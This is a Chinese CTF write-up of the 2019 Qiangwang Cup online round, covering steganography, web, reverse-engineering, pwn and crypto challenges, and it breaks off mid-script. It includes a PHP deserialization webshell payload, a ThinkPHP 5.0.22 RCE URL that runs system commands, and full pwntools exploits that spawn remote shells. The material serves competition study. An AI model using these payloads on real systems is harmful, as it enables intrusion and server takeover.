强网杯线上赛 题解 - Lilac

2019-05-29 约 4007 字 预计阅读 19 分钟

声明:本文 【强网杯线上赛 题解 - Lilac】 由作者 Lilac 于 2019-05-29 08:48:00 首发 先知社区 曾经 浏览数 152 次

感谢 Lilac 的辛苦付出!

2019强网杯线上赛writeup

--- by Lilac

[TOC]

题目

Misc

鲲or鳗orGame

网页上的gameboy游戏模拟器

js里面的注释
//var romPath = "laoyanqiang.gb";
打开是张图片

拿gb模拟器打开rom/game.gb
内存c0a2处是Best Score 16位 改成ffff
结算界面变成了flag

强网先锋-打野

图片隐写

:/mnt/d$ zsteg test.bmp --all --limit 2048
[?] 2 bytes of extra data after image end (IEND), offset = 0x269b0e
/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /home/pwn/.cargo/bin in PATH, mode 040777
extradata:0         .. ["\x00" repeated 2 times]
imagedata           .. text: ["\r" repeated 18 times]
b1,lsb,bY           .. <wbStego size=120, ext="\x00\x8E\xEE", data="\x1Ef\xDE\x9E\xF6\xAE\xFA\xCE\x86\x9E"..., even=false>
b1,msb,bY           .. text: "qwxf{you_say_chick_beautiful?}"
b2,lsb,bY           .. text: "+UXr\"$!v"
b2,msb,bY           .. text: "i2,C8&k0."
b3,lsb,bY           .. text: "3`p:gyO1S"
b4,lsb,bY           .. text: "\nme&Re'c"
b8,lsb,bY           .. text: ["\r" repeated 18 times]
b1,lsb,bY,prime     .. text: "riI?/1>^J"
b1,msb,bY,prime     .. text: "UmlpFSkMwv"
b2,lsb,bY,prime     .. text: "L#WEtj\"=}"
b2,msb,bY,prime     .. text: "UjVe\"\n8;j"
b3,lsb,bY,prime     .. text: "QE 9)\"IE\""
b3,msb,bY,prime     .. text: "~~\"6QBK-\""
b4,lsb,bY,prime     .. text: "RBRC44T#4$4D52C2"
b4,msb,bY,prime     .. text: "(,\",,,,,"
b5,msb,bY,prime     .. text: "ram9u!J1"
b6,lsb,bY,prime     .. file: GeoSwath RDF
b2,r,lsb,xY         .. text: "UUUUUU9VUUUUUUUUUUUUUUUUUUUUUU"
b2,g,lsb,xY         .. text: "NUUUUUUUU^"

Web

upload

本题抄了一个模板:https://w3layouts.com/innovative-login-form-flat-responsive-widget-template/

注册登陆,发现文件上传,测试仅可上传图片,且只检测文件头。
随便找张图,在末尾添加shellcode,上传。

扫描得到//www.tar.gz,解压得到源代码。

审计tp5\application\web\controller下源码。

//Index.php

public function login_check(){
    $profile=cookie('user');
    if(!empty($profile)){
        $this->profile=unserialize(base64_decode($profile));
        $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
        if(array_diff($this->profile_db,$this->profile)==null){
            return 1;
        }else{
            return 0;
        }
    }
}

存在反序列化。

寻找可利用的类。Register中存在__destruct()方法,调用this->checker->index()

Profile类中存在__call()方法

//Profile.php

public function upload_img(){
    if($this->checker){
        if(!$this->checker->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
    }
    if(!empty($_FILES)){
        $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
        $this->filename=md5($_FILES['upload_file']['name']).".png";
        $this->ext_check();
    }
    if($this->ext) {
        if(getimagesize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);
            @unlink($this->filename_tmp);
            $this->img="../upload/$this->upload_menu/$this->filename";
            $this->update_img();
        }else{
            $this->error('Forbidden type!', url('../index'));
        }
    }else{
        $this->error('Unknow file type!', url('../index'));
    }
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

可以调用Profile类中的任意无参数方法。其中upload_img方法,可以实现更改文件名及其后缀。需要将ext置为truechecker置为false即可触发。

EXP:

<?php
namespace app\web\controller;

class Register
{
    public $checker;
    public $registed;
}

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
    public $index;
}

class Index
{
    public $profile;
    public $profile_db;
}

$obj           = new Register();
$obj->checker  = new Profile();
$obj->registed = false;

//刚才上传的图马
//http://117.78.28.89:31424/upload/da5703ef349c8b4ca65880a05514ff89/156005c5baf40ff51a327f1c34f2975b.png
$obj->checker->index   = "upload_img";
$obj->checker->ext= true;
$obj->checker->upload_menu="da5703ef349c8b4ca65880a05514ff89";
//路径
$obj->checker->filename_tmp="../public/upload/da5703ef349c8b4ca65880a05514ff89/156005c5baf40ff51a327f1c34f2975b.png";
$obj->checker->filename="../public/upload/da5703ef349c8b4ca65880a05514ff89/shell.php";

$payload = base64_encode(serialize($obj));
echo $payload."\n";

//TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo4OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjU5OiIuLi9wdWJsaWMvdXBsb2FkL2RhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5L3NoZWxsLnBocCI7czo4OiJmaWxlbmFtZSI7czo2MToiLi4vcHVibGljL3VwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9qaW5nemhlLnBocCI7czoxMToidXBsb2FkX21lbnUiO3M6MzI6ImRhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5IjtzOjM6ImV4dCI7YjoxO3M6MzoiaW1nIjtOO3M6NjoiZXhjZXB0IjtOO3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO31zOjg6InJlZ2lzdGVkIjtiOjA7fQ==

Antsword连一下,cat /flag.

Flag:

flag{ce5cb05ff4af0881a044f1d79f59ad2e}

强网先锋-上单

thinkphp5.0.22 RCE
https://paper.seebug.org/770/

payload:

http://117.78.28.89:32422/1/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

Flag:

flag{9cdb595d4de827acde9b45bb120615d6}

Reverse

强网先锋-AD

动态调试查看待比较的字符串,发现是一个base64,直接解码得到flag

JustRe4

输入的前10字节为1324225814
输入后覆盖阶段二函数的开始0x60字节为地址0x404148处的60字节
第二阶段应该是个3DES
第二阶段明文0dcc509a6f75849b
flag{13242258140dcc509a6f75849b}

import claripy
import struct
from Crypto.Cipher import DES3

dst = [2213317461, 3967938788, 632, 1078985889, 2311336704, 41165956, 269418496, 1078044677, 1103142912, 257294400, 740574225, 2114974551,
       1078048773, 3591333376, 255861828, 1779056912, 608471104, 612666700, 508, 256901226, 472138769, 1005800, 2369808896, 38282372]
ms = [0, 1, 2, 3, 4, 4, 4, 4, 8, 8, 8, 8, 12, 12, 12, 12]
ns = [2092209401, 3952197289, 4279241742, 1063260902, 2261515592, 4248564421, 4011265610, 1062303302, 1053847116, 140381709, 720130655, 1494727968, 1062307405, 2971086929, 139457038, 1696223075, 592221716, 596417297, 4279242626, 140512749, 4209791593, 4279723633, 2320512090, 4250399447]

# last_byte = 0x5e
# num = 0x1A2B3C4D
last_byte = claripy.BVS('last', 8)
last_byte = last_byte.zero_extend(24)
num = claripy.BVS('num', 32)
solver = claripy.Solver()
tmp = last_byte * 0x1010101
mask = (1 << 128) - 1
for i in range(24):
    if i < 16:
        if i < 4:
            ns[i] = (ms[i] + num) ^ (tmp + ns[i])
        else:
            ns[i] = (ms[i] + ms[i % 4] + num) ^ (tmp + ns[i])
    else:
        ns[i] = ((i + num) ^ (tmp + ns[i]))
    solver.add(ns[i] == dst[i])
part1 = solver.batch_eval([num, last_byte], 1)[0][0]
part1 = hex(part1)[2:]
dstl = 0xFACE0987E6A97C50
dsth = 0x6C97BB90CF0DD520
dst = struct.pack("<Q", dstl) + struct.pack("<Q", dsth)
ct = struct.pack("<I", 0xE6A97C50) + \
    struct.pack("<I", 0xFACE0987) + \
    struct.pack("<I", 0xCF0DD520) + \
    struct.pack("<I", 0x6C97BB90) + \
    struct.pack("<I", 0xB0F69090) + \
    struct.pack("<I", 0xE8A4A67B)
key = struct.pack("<Q", 0x4445434641534641) + \
    struct.pack("<Q", 0x4E43415843584359) + \
    struct.pack("<Q", 0x43585143444B4644)
cipher = DES3.DES3Cipher(key)
pt = cipher.decrypt(ct)
pt = pt[:-pt[-1]]
part2 = pt.decode('ascii')
flag = 'flag{' + part1 + part2 + '}'
print(flag)

webassembly

:::success
:::
XTEA算法

import struct


def xtea_decrypt(block, key):
    XTEA_DELTA = 0x9E3779B9
    XTEA_N = 32

    (pack, unpack) = (struct.pack, struct.unpack)

    (y, z) = unpack("<2L", block)
    k = unpack("<4L", key)

    (sum, delta, n) = 0, XTEA_DELTA, XTEA_N

    sum = (delta * n) & 0xFFFFFFFF
    for i in range(n):
        z = (z - (((y << 4 ^ y >> 5) + y) ^
                  (sum + k[sum >> 11 & 3]))) & 0xFFFFFFFF
        sum = (sum - delta) & 0xFFFFFFFF
        y = (y - (((z << 4 ^ z >> 5) + z) ^ (sum + k[sum & 3]))) & 0xFFFFFFFF
    return pack("<2L", y, z)


ct = [
    0xb4, 0x34, 0x22, 0x73, 0x52, 0x39, 0x9d, 0xf8, 0x3f, 0xff,
    0x01, 0xa9, 0x26, 0xf9, 0xc3, 0x26, 0x89, 0x55, 0xd2, 0xc6,
    0x5e, 0xfe, 0x9b, 0xbe, 0x33, 0xcb, 0xe5, 0xd6, 0xfa, 0xcf,
    0xa2, 0x3d, 0x63, 0x39, 0x33, 0x61, 0x36, 0x7d
]
ct = bytes(ct)
key = b'\x00' * 16

flag = xtea_decrypt(ct[:8], key)
flag += xtea_decrypt(ct[8:16], key)
flag += xtea_decrypt(ct[16:24], key)
flag += xtea_decrypt(ct[24:32], key)
flag += ct[32:]
print(flag)

设备固件

反汇编

opcodes = {
    1: "add", #
    2: "sub",
    3: "cmp",
    4: "jmpi",
    5: "movr", #
    6: 'alw', #
    7: "jmpr", #
    8: "movi", #
    9: "fail", #
    0xa: "movm",
    0xb: "push", #
    0xd: "mul", #
    0xe: "div", # 
    0xf: "lsh", #
    0x10: "rsh", # 
    0xff: "end"
}

code = [8, 0, 0, 0, 32, 0, 8, 0, 1, 0, 0, 0, 8, 0, 2, 0, 1, 0, 3, 0, 1, 0, 0, 0, 4, 1, 22, 0, 0, 0, 8, 0, 11, 0, 0, 0, 8, 0, 12, 0, 0, 0, 1, 0, 12, 0, 11, 0, 3, 0, 11, 0, 1, 0, 1, 0, 11, 0, 2, 0, 4, 2, 252, 255, 0, 0, 8, 0, 3, 0, 8, 0, 8, 0, 4, 0, 6, 0, 8, 0, 9, 0, 16, 0, 15, 0, 9, 0, 3, 0, 8, 0, 10, 0, 36, 0, 1, 0, 9, 0, 10, 0, 1, 0, 9, 0, 12, 0, 10, 0, 5, 0, 1, 0, 13, 0, 5, 0, 9, 0, 5, 0, 6, 0, 5, 0, 16, 0, 6, 0, 4, 0, 11, 0, 7, 0, 1, 0, 3, 0, 6, 0, 7, 0, 1, 0, 1, 0, 2, 0, 4, 1, 233, 255, 0, 0, 4, 2, 1, 0, 0, 0, 255, 0, 0, 0, 0, 0, 9, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0]
s = set()
for i in range(0, len(code), 6):
    opcode = code[i+0]
    check_status = code[i+1]
    op1 = code[i+2] | (code[i+3] << 8)
    if code[i+3] != 0:
        op1 = -((op1 - 1) ^ 0xffff)
    op2 = code[i+4] | (code[i+5] << 8)
    print("{:02x}: {:5s}({})  {:x},{:x}".format(i//6, opcodes[opcode], check_status, op1, op2))

获得flag

username = bytes([0x64, 0x36, 0x65, 0x66, 0x35])

dst = [3163, 3293, 3359, 6336, 6342, 3110, 3698, 3575, 6577, 3393, 3336, 6428, 3289, 3761, 3310, 6776, 3467, 3481, 3428, 3309, 6648, 3681, 6783, 6887, 3878, 6964, 6864, 3452, 4041, 3710, 7182, 7086]

password = []
for i in range(0x20):
    magic = 0x1024 + sum(range(i + 1))
    for c in range(0x100):
        if (c * magic) >> 6 == dst[i]:
            password.append(c)
            break
password = bytes(password)
print("Username: {}".format(username.decode('ascii')))
print("Password: {}".format(password.decode('ascii')))

Pwn

babymimic

给了两个x86和x64的程序,又看到了拟态防御,猜会把输入喂给两个程序,测试了一下发现输出不同时会被检测出来,先尝试在没有多余输出的情况下直接反弹其中一个程序的shell,发现也能被检测出。最后看到两个程序栈溢出长度不同,明白了要用一个payload同时打两个程序

from pwn import *
import hashlib

def proof_of_work():
    p.recvuntil(".hexdigest()=")
    h = p.recv(64)
    print h
    p.recvuntil(".encode('hex')=")
    s = p.recv(10).decode("hex")
    p.recvuntil("skr.encode('hex')=")
    print s
    for c1 in range(0xff,-1,-1):
        for c2 in range(0xff,-1,-1):
            for c3 in range(0xff,-1,-1):
                if hashlib.sha256(s+chr(c1)+chr(c2)+chr(c3)).hexdigest() == h:
                    return s+chr(c1)+chr(c2)+chr(c3)

'''
0x0809ccf4: mov dword ptr [eax], edx; ret;
'''
int80 = 0x0806f300
pop_eax = 0x080a8af6
pop_ebx = 0x080481c9
pop_ecx_pop_ebx = 0x0806e9f2
pop_edx = 0x0806e9cb
add_esp = 0x0806b225 #add esp, 0x100; sub eax, edx; ret;


pop_rax = 0x000000000043b97c
pop_rdx = 0x000000000043d9d5
pop_rdi = 0x00000000004005f6
pop_rsi = 0x0000000000405895
syscall = 0x0000000000461645
#0x0000000000477521: mov qword ptr [rax], rdx; ret;

payload = "a"*0x10 + "\x00"*0x100 + p32(add_esp) + p32(0)
x86_payload = ""
x64_payload = ""

#reverse_shell = ["/bin/cat","./flag_2d5088d4cac1e7d5f935659807a44db8"]
reverse_shell = ["/bin/sh"]
x86_addrs = [0x080DAE00, 0x080DAE00+0x10]
x86_addr = 0x080DAE00+0x60
x64_addrs = [0x6A3500, 0x6A3500+0x10]
x64_addr = 0x6A3500+0x60


for j in range(0,len(reverse_shell)):
    for i in range(0,len(reverse_shell[j])/4+1):
        x86_payload += p32(pop_eax) + p32(x86_addrs[j]+i*4) + p32(pop_edx) + reverse_shell[j][i*4:i*4+4].ljust(4,"\x00") + p32(0x0809ccf4)

x86_payload += p32(pop_eax) + p32(11) + p32(pop_ecx_pop_ebx) + p32(0) + p32(x86_addrs[0]) + p32(pop_edx) + p32(0) + p32(int80) + p32(0x08048930)

for j in range(0, len(reverse_shell)):
    for i in range(0, len(reverse_shell[j])/4+1):
        x64_payload += p64(pop_rax) + p64(x64_addrs[j]+i*8) + p64(pop_rdx) + reverse_shell[j][i*8:i*8+8].ljust(8,"\x00") + p64(0x0000000000477521)

x64_payload += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(x64_addrs[0]) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
print len(x64_payload),len(x86_payload)
x64_payload = x64_payload.ljust(0xfc,"\x90")

payload += x64_payload + p32(0x0804892F) + x86_payload

flag_file = "flag_2d5088d4cac1e7d5f935659807a44db8"
p = remote("49.4.51.149",25391)
#p = process("./_stkof")

skr = proof_of_work()
print skr.encode("hex")
p.sendline(skr.encode("hex"))
print p.recvuntil("teamtoken:")
p.sendline("08c5028f14a51d3336c3e4f80414706d")

p.send(payload)
p.interactive()

045b500501510d5703550357525d5102060106565650525c5305010101550750
flag{4c301c512abbc9b157ee3d4dc1056e14}

babycpp

update_hash 的abs有问题,输入0x80000000后为-8,可以覆盖vtable指针,把string的vtable改成int的vtable,通过来回改string array的vtable以类似类型混淆的方式实现任意地址读写,最后rop执行execve("/bin/sh",NULL,NULL)拿shell。刚好两个vtable的第三个16进制不相同,想覆盖需要猜第4个16进制。

from pwn import *

def new_array(kind):
    p.recvuntil("Your choice:")
    p.sendline("0")
    p.recvuntil("What kind of array do you want:\n1.Int Array\n2.String Array\nYour choice:")
    p.sendline(str(kind))

def update(h, idx, new_hash):
    p.recvuntil("Your choice:")
    p.sendline("3")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Input hash:")
    p.send(new_hash)

def set_string_element(h, idx, length, content):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Input the len of the obj:")
    p.sendline(str(length))
    p.recvuntil("Input your content:")
    p.send(content)

def set_int_element(h, idx, num):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Input val:")
    p.sendline(num)

def show_int(h, idx):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("The value in the array is ")
    addr = p.recvuntil("\n")
    print addr[0:len(addr)-1]
    return int(addr,16)

def show_str(h, idx):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Content:")
    addr = p.recv(6).ljust(8,"\x00")
    return u64(addr)

def update_str_element(h, idx, content):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Input your content:")
    p.send(content)

#aslr off
offset = 0x555555768ff0 - 0x555555768e70
offset2 = 0x555555768ff0 - 0x555555768ea0
main_stack =    0x7FFFFFFFDE78
environ_stack = 0x7fffffffdf68
offset3 = environ_stack - main_stack

while True:
    try:        
        #p = process("./babycpp")
        p = remote("49.4.15.125", 32207)
        new_array(1)
        new_array(2)
        set_string_element("\x01", 0, 0x20, "1"*0x20)
        update("\x01", 2147483648, "\xe0\x5c")
        heap_addr = show_int("\x01", 0)
        print hex(heap_addr)
        set_int_element("\x01", 1, hex(heap_addr - offset))
        update("\x01", 2147483648, "\x00\x5d")

        func_addr = show_str("\x01", 1)
        elf_base = func_addr - 0x10C6
        print hex(func_addr)
        print "elf_base: " + hex(elf_base)
        malloc_got = elf_base + 0x201FB8
        print "malloc_got: " + hex(malloc_got)
        update("\x01", 2147483648, "\xe0\x5c")
        set_int_element("\x00", 0, hex(malloc_got))
        set_int_element("\x01", 2, hex(heap_addr - offset2))
        update("\x01", 2147483648, "\x00\x5d")

        libc_malloc = show_str("\x01", 2)
        libc_base = libc_malloc - 0x097070
        print "libc_base: " + hex(libc_base)
        sh = libc_base + 0x1B3E9A
        system = libc_base + 0x4F440
        environ = libc_base + 0x3EE098
        pop_rdi = libc_base + 0x00002155f
        pop_rsi = libc_base + 0x0000023e6a
        pop_rdx = libc_base + 0x0000000000001b96
        execve = libc_base + 0xE4E30
        print "/bin/sh: " + hex(sh)
        print "system: " + hex(system)
        print "execve: " + hex(execve)
        print "environ: " + hex(environ)

        update("\x01", 2147483648, "\xe0\x5c")
        set_int_element("\x00", 0, hex(environ))
        set_int_element("\x01", 2, hex(heap_addr - offset2))
        update("\x01", 2147483648, "\x00\x5d")
        stack = show_str("\x01", 2)
        print "stack: " + hex(stack)
        set_int_element("\x00", 0, hex(stack - offset3))
        set_int_element("\x00", 1, hex(0x100))
        update_str_element("\x01", 2, p64(pop_rdi) + p64(sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(execve))
        break
    except:
        p.close()

#gdb.attach(p)
#raw_input()
p.interactive()

Your choice:$ 4
Bye!
$ ls
babycpp
bin
dev
flag
lib
lib32
lib64
$ cat flag
flag{9a3a902d2b3e980e0d7b41d756faec03}
$ 
[*] Interrupted
[*] Closed connection to 49.4.15.125 port 32207

Random

1.利用add_note里在tomorrow增加add_note的功能在game list上留下一个没被删除的节点,但节点本身被释放进了fastbin
2.把这个fastbin在第二天分配给其他节点,这样game list上有两个相同节点,执行完之后出现double free,第一次free时保证fastbin为空,否则game list的遍历会出问题。
3.之后把double free的fastbin分配给add_note函数,创建一个note,劫持fastbin的fd,设置为可控位置note array,note array上事先要有一个大小为0x21的note
4.把可控位置的fastbin分配给add_note函数,创建note,这样就可以修改note array上的指针了,利用update、view任意地址读写
5.操作是rand的,但可以预测,需要凑出一个合适的操作序列

from pwn import *
import ctypes

libc = ctypes.CDLL("./libc-2.23.so")
libc.srand(None)
actions = []

for i in range(0x30):
    x = libc.rand()
    if x%4 == 0:
        actions.append("add")
        print i
    elif x%4 == 1:
        actions.append("update")
    elif x%4 == 2:
        actions.append("delete")
    else:
        actions.append("view")

print actions

def choice_pass():
    x = p.recvuntil("(Y/N)\n")
    p.sendline("N")

def add_note(size, content, x):
    p.recvuntil("Do you want to add note?(Y/N)\n")
    p.sendline("Y")
    p.recvuntil("Input the size of the note:\n")
    p.sendline(str(size))
    p.recvuntil("Input the content of the note:\n")
    p.send(content)
    p.recvuntil("Do you want to add another note, tomorrow?(Y/N)\n")
    p.sendline(x)

def view(idx):
    p.recvuntil("Do you want to view note?(Y/N)\n")
    p.sendline("Y")
    p.recvuntil("Input the index of the note:\n")
    p.sendline(str(idx))
    return u64(p.recv(6).ljust(8,"\x00"))

def update(idx, content):
    p.recvuntil("Do you want to update note?(Y/N)\n")
    p.sendline("Y")
    p.recvuntil("Input the index of the note:")
    p.sendline(str(idx))
    p.recvuntil("Input the new content of the note:\n")
    p.send(content)


elf = ELF("./libc-2.23.so")
#p = process("./random")
p = remote("49.4.15.125",31697)
p.recvuntil("Please input your name:\n")
p.send("1"*8)
p.recvuntil("1"*8)
addr = u64(p.recv(6).ljust(8,"\x00"))
elf_base = addr - 0xb90
print hex(elf_base)
print hex(elf_base + 0x203168)
print hex(elf_base + 0x11ac)
print hex(elf_base + 0x203190)

p.sendline("10")

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#1
p.sendline("8")
add_note(0x21, "A1Lin\n", "Y")
for i in range(7):
    choice_pass()

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#2
p.sendline("7") #double free
for i in range(9):
    choice_pass()   

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#3
p.sendline("2") #hijck fastbin
add_note(17, p64(elf_base+0x203180) + "\n", "N")
choice_pass()

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#4
p.sendline("6")
choice_pass()
add_note(0x21, "A1Lin\n", "N")
choice_pass()
add_note(0x21, "A1Lin\n", "N")
for i in range(2):
    choice_pass()

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#5
p.sendline("5")
for i in range(5):
    choice_pass()

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#6
p.sendline("10")
add_note(17, p64(elf_base + 0x2031a0) + p64(0x20)[0:6] + "\n", "N")

update(1, p64(elf_base + 0x0203018) + "\n")
addr = view(2)
print "free: " + hex(addr)
elf.address = addr - elf.symbols["free"]
print "libc: " + hex(elf.address)
print hex(elf_base + 0x203018)
update(1, p64(elf_base + 0x203018) +  p64(0x20)[0:6] + "\n")#free_got
choice_pass()
choice_pass()
choice_pass()
update(2, p64(elf.address + 0xf1147) + "\n")
#print p.recv()
#gdb.attach(p)
p.interactive()

'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''

强网先锋-AP

堆溢出直接泄露puts地址,然后堆溢出覆盖puts为system拿shell

from pwn import *

def get(length, name):
    p.recvuntil("Choice >> \n")
    p.sendline("1")
    p.recvuntil("The length of my owner's name:\n")
    p.sendline(str(length))
    p.recvuntil("Give me my owner's name:\n")
    p.send(name)

def open(idx):
    p.recvuntil("Choice >> \n")
    p.sendline("2")
    p.recvuntil("Please tell me which tickets would you want to open?\n")
    p.sendline(str(idx))
    p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")

def change(idx, length, name):
    p.recvuntil("Choice >> \n")
    p.sendline("3")
    p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
    p.sendline(str(idx))
    p.recvuntil("The length of my owner's name:")
    p.sendline(str(length))
    p.recvuntil("Give me my owner's name:\n")
    p.send(name)

#p = process("./task_main")
libc = ELF("./libc-2.23.so")
p = remote("117.78.39.172",32146)
get(0x10,"A1Lin1")
get(0x10,"A1Lin2")
change(0,0x21, "a"*0x20)
open(0)
p.recvuntil("a"*0x20)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
print hex(heap_addr)
change(0,0x29, "a"*0x28)
open(0)
p.recvuntil("a"*0x28)
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = puts_addr - libc.symbols["puts"]
change(0,0x29+8, "a"*0x10 + p64(0) + p64(0x21) + p64(heap_addr) + p64(libc.symbols["system"]))
change(1,9,"/bin/sh\x00")
open(1)
print hex(libc.address)
#gdb.attach(p)
p.interactive()

Crypto

randomstudy

  • step1 暴力猜测系统时间种子
  • step2 java 伪随机数预测
  • step3 题目漏洞,直接利用step1中的种子预测随机数。
    脚本如下:

    import random
    import time
    from pwn import *
    import gmpy2
    from Crypto.Util.number import long_to_bytes
    context.log_level = "debug"
    import hashlib
    def proof(prefix,hexdig):
      for a in range(0,256):
          for b in range(0,256):
              for c in range(0,256):
                  skr = prefix + chr(a) +chr(b) + chr(c)
                  if hashlib.sha256(skr).hexdigest()==hexdig:
                      return skr.encode("hex")
    ip = '119.3.245.36'
    port = 23456
    token = "08c5028f14a51d3336c3e4f80414706d"
    io = remote(ip,port)
    io.recvline()
    hexdig = io.recvline().split("=")[1].strip()
    prefix = io.recvline().split("=")[1].strip().decode("hex")
    io.sendlineafter("skr.encode('hex')=",proof(prefix,hexdig))
    io.sendlineafter("[+]teamtoken:",token)
    io.recvuntil("[-]")
    seed_tem = int(time.time())
    print seed_tem
    random.seed(seed_tem)
    io.sendline(str(random.randint(0,2**64)))
    second = 1
    while "fail" in io.recvline():
      temp = seed_tem+second
      random.seed(temp)
      for i in range(second):
          random.randint(0,2**64)
      io.sendlineafter("[-]",str(random.randint(0,2**64)))
      second = second+1
    io.recvuntil("[+]Generating challenge 2\n")
    v1 = int(io.recvline().split("[-]")[1].strip())
    v2 = int(io.recvline().split("[-]")[1].strip())
    def replicateState(nextN,nextM):
      temN = nextN
      temM = nextM
      seed = []
      multiplier = 0x5DEECE66D
      addend = 0xB
      mask = (1L << 48) - 1
      upperMOf48Mask = ((1L << 32) - 1) << (48 - 32)
      oldSeedUpperN = (nextN << (48 - 32)) & mask
      newSeedUpperM = (nextM << (48 - 32)) & mask
      oldSeed = oldSeedUpperN
      for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
          newSeed = (i * multiplier + addend) & mask
          if ((newSeed & upperMOf48Mask) == newSeedUpperM):
              seed.append(newSeed)
      if seed:
          pre = ((seed[0] * multiplier + addend)& mask)>>16
          if len(bin(pre))-2==32 and bin(pre)[2]=='1':
              return pre-1
          return pre
      nextN = -(0xffffffff-nextN)
      oldSeedUpperN = (nextN << (48 - 32)) & mask
      newSeedUpperM = (nextM << (48 - 32)) & mask
      oldSeed = oldSeedUpperN
      for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
          newSeed = (i * multiplier + addend) & mask
          if ((newSeed & upperMOf48Mask) == newSeedUpperM):
              seed.append(newSeed)
      if seed:
          pre = ((seed[0] * multiplier + addend)& mask)>>16
          if len(bin(pre))-2==32 and bin(pre)[2]=='1':
              return pre-1
          return pre
      nextN = temN
      nextM = -(0xffffffff-nextM)
      oldSeedUpperN = (nextN << (48 - 32)) & mask
      newSeedUpperM = (nextM << (48 - 32)) & mask
      oldSeed = oldSeedUpperN
      for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
          newSeed = (i * multiplier + addend) & mask
          if ((newSeed & upperMOf48Mask) == newSeedUpperM):
              seed.append(newSeed)
      if seed:
          pre = ((seed[0] * multiplier + addend)& mask)>>16
          if len(bin(pre))-2==32 and bin(pre)[2]=='1':
              return pre-1
          return pre
      nextN = -(0xffffffff-temN)
      nextM = -(0xffffffff-temM)
      oldSeedUpperN = (nextN << (48 - 32)) & mask
      newSeedUpperM = (nextM << (48 - 32)) & mask
      oldSeed = oldSeedUpperN
      for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
          newSeed = (i * multiplier + addend) & mask
          if ((newSeed & upperMOf48Mask) == newSeedUpperM):
              seed.append(newSeed)
      if seed:
          pre = ((seed[0] * multiplier + addend)& mask)>>16
          if len(bin(pre))-2==32 and bin(pre)[2]=='1':
              return pre-1
          return pre
    v3 = replicateState(v1,v2)
    io.sendlineafter("[-]",str(v3))
    io.recvuntil("[+]Generating challenge 3\n")
    io.sendlineafter("[-]",str(random.getrandbits(32)))
    io.recv()
    io.recv()
    

    ### copperstudy

  • 关于coppersmith rsa相关攻击,攻击代码如下:

from pwn import *
import gmpy2
from Crypto.Util.number import long_to_bytes
context.log_level = "debug"
import hashlib
def proof(prefix,hexdig):
    for a in range(0,256):
        for b in range(0,256):
            for c in range(0,256):
                skr = prefix + chr(a) +chr(b) + chr(c)
